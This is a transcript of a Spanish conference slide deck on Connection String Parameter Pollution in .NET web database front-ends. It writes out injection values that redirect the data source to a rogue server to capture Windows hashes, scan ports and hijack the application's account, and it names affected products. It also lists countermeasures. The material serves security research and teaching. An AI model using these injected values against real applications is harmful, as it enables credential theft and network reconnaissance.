Transcript
Page 1: Connection String Parameter Pollution

Chema AlonsoInformática 64Chema AlonsoInformática 64

Page 2: Connection String Parameter Pollution

Cadenas de Conexión

• Definen la manera en que una aplicación web se conecta a un repositorio de datos

• Hay cadenas de conexión para:– Bases de datos

– Archivos en sistemas de ficheros

– Servidores LDAP en procesos de Binding

– …

Page 3: Connection String Parameter Pollution

Cadenas de conexión a BBDD

Data Source = myServerAddress;

Initial Catalog = myDataBase;

User Id = myUsername;

Password = myPassword;

Page 4: Connection String Parameter Pollution

Se pueden encontrar en Google

Page 5: Connection String Parameter Pollution

Se pueden encontrar en Google

Page 6: Connection String Parameter Pollution

Ficheros UDL

Page 7: Connection String Parameter Pollution

Credenciales

Cuentas de Sistema Operativo

Data Source = myServerAddress;

Initial Catalog = myDataBase;

User Id = myUsername;

Password = myPassword;

Integrated Security = SSPI/True/Yes;

Cuentas de la Base de datos

Data Source = myServerAddress;

Initial Catalog = myDataBase;

User Id = myUsername;

Password = myPassword;

Integrated Security = No;

Page 8: Connection String Parameter Pollution

Syslogins

Tabla usuarios

Cadena de conexión

1.- La aplicación web se conecta con credenciales de la BD.

2.- Se piden credenciales al usuario.

3.- La aplicación web comprueba las credenciales en una tabla de usuarios.

Select from tabla

La aplicación Web controla la autenticación

Motor de Base de datos App en Servidor Web

Validación usuarios en aplicación web

Page 9: Connection String Parameter Pollution

Syslogins Cadena de conexión

1.- Se piden credenciales al usuario.

2.- La aplicación web construye la cadena de conexión con las credenciales del usuario.

El motor de BBDD controla la autenticación

Validación usuarios en motor de BBDD

Motor de Base de datos App en Servidor Web

Page 10: Connection String Parameter Pollution

Connection String Attacks

• Es posible inyectar parámetros en las cadenas de conexión separándolos por punto y coma.

Data Source = myServerAddress;Initial Catalog = myDataBase;Integrated Security = NO;User Id = myUsername;Password = myPassword; Encryption = Off ;

Page 11: Connection String Parameter Pollution

ConnectionStringBuiler

• Incluido en el .NET Framework 2.0

• Crea cadenas de conexión mediante parámetros

• Impide la inyección de código

Page 12: Connection String Parameter Pollution

La realidad

Page 13: Connection String Parameter Pollution

Connection String Parameter Pollution

• La idea es inyectar un parámetro que ya existe

• Duplicando el valor del parámetro, el último prevalece en los entornos .NET.

• Esto permite a un atacante cambiar completamente el funcionamiento de la cadena de conexión y de la aplicación.

Page 14: Connection String Parameter Pollution

CSPP Attack 1: Robo de Hash

1.- Se monta un servidor controlado:Rogue_Server

2.- Se activa un sniffer de credencialesCain/Wireshark

3.- Se hace una polución del parámetroData_Source=Rogue_Server

4.- Se fuerza el uso de autenticación WindowsIntegrated Security=true

Page 15: Connection String Parameter Pollution

CSPP Attack 1: Robo de Hash

Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id=+’User_Value’+; Password=+’Password_Value’+;

Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id= ;Data

Source=Rogue_Server; Password=;Integrated Security=True;

Page 16: Connection String Parameter Pollution

CSSP 1:ASP.NET Enterprise Manager

Page 17: Connection String Parameter Pollution

CSPP Attack 2: Port Scanning

1.- Se hace una polución del parámetro con el servidor a escanear y el puerto

Data_Source=Target_Server,target_Port

2.- Se evalúan los mensajes de error de la aplicación

Page 18: Connection String Parameter Pollution

CSPP Attack 2: Port Scanning

Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id=+’User_Value’+; Password=+’Password_Value’+;

Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id= ;Data

Source=Target_Server, Target_Port; Password=Void;

Page 19: Connection String Parameter Pollution

CSPP 2: myLittleAdmin

Puerto Abierto

Page 20: Connection String Parameter Pollution

CSPP 2: myLittleAdmin

Puerto Cerrado

Page 21: Connection String Parameter Pollution

CSPP Attack 3: Hijacking Web Credentials

1.- Se hace una polución del parámetro

Data_Source=Target_Server

2.- Se fuerza el uso de autenticación Windows

Integrated Security=true

3.- El pool de aplicaciones envía la cuenta de Windows con que está corriendo para autenticarse en el motor de bases de datos

Page 22: Connection String Parameter Pollution

CSPP Attack 3: Hijacking Web Credentials

Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id=+’User_Value’+; Password=+’Password_Value’+;

Data source = SQL2005; initial catalog = db1;Integrated Security=no; user id= ;Data

Source=Target_Server; Password=;Integrated Security=true;

Page 23: Connection String Parameter Pollution

CSPP Attack 3: Web Data Administrator

Page 24: Connection String Parameter Pollution

CSPP Attack 3: myLittleAdmin/myLittleBackup

Page 25: Connection String Parameter Pollution

CSPP Attack 3: ASP.NET Enterprise Manager

Page 26: Connection String Parameter Pollution

Otras bases de datos

• MySQL no soporta autenticación integrada

• Oracle SÍ soporta autenticación integrada en Windows y es posible realizar estos ataques– Además es posible cambiar la conexión de nivel

para pasarla a conexión como sysdba

Page 27: Connection String Parameter Pollution

DemoDemo

Page 28: Connection String Parameter Pollution

myLittleAdmin/myLittleBackup

myLittleTools ha sacado un advisory de seguridad y un parche

Page 29: Connection String Parameter Pollution

ASP.NET Enterprise Manager

• ASP.NET Enterprise Manager está “abandonada”, pero se dispone del código fuente

Page 30: Connection String Parameter Pollution

ASP.NET Enterprise Manager

• ASP.NET Enterprise Manager está “abandonada”, pero se dispone del código fuente

Page 31: Connection String Parameter Pollution

ASP.NET Web Data Admistrator

ASP Web Data Administrator es segura en su versión liberada en CodePlex

Page 32: Connection String Parameter Pollution

Contramedidas

• Fortificación de Firewall

• Fortificación de cuentas utilizadas en pool de aplicaciones y bases de datos.

• Usar ConnectionStringBuilder

• Filtrar el ;)

Page 33: Connection String Parameter Pollution

¿Preguntas?

ContactoChema Alonso [email protected]://www.informatica64.comhttp://elladodelmal.blogspot.com

AutoresChema Alonso Manuel FernándezAlejandro Martín BailónAntonio Guzmán


Recommended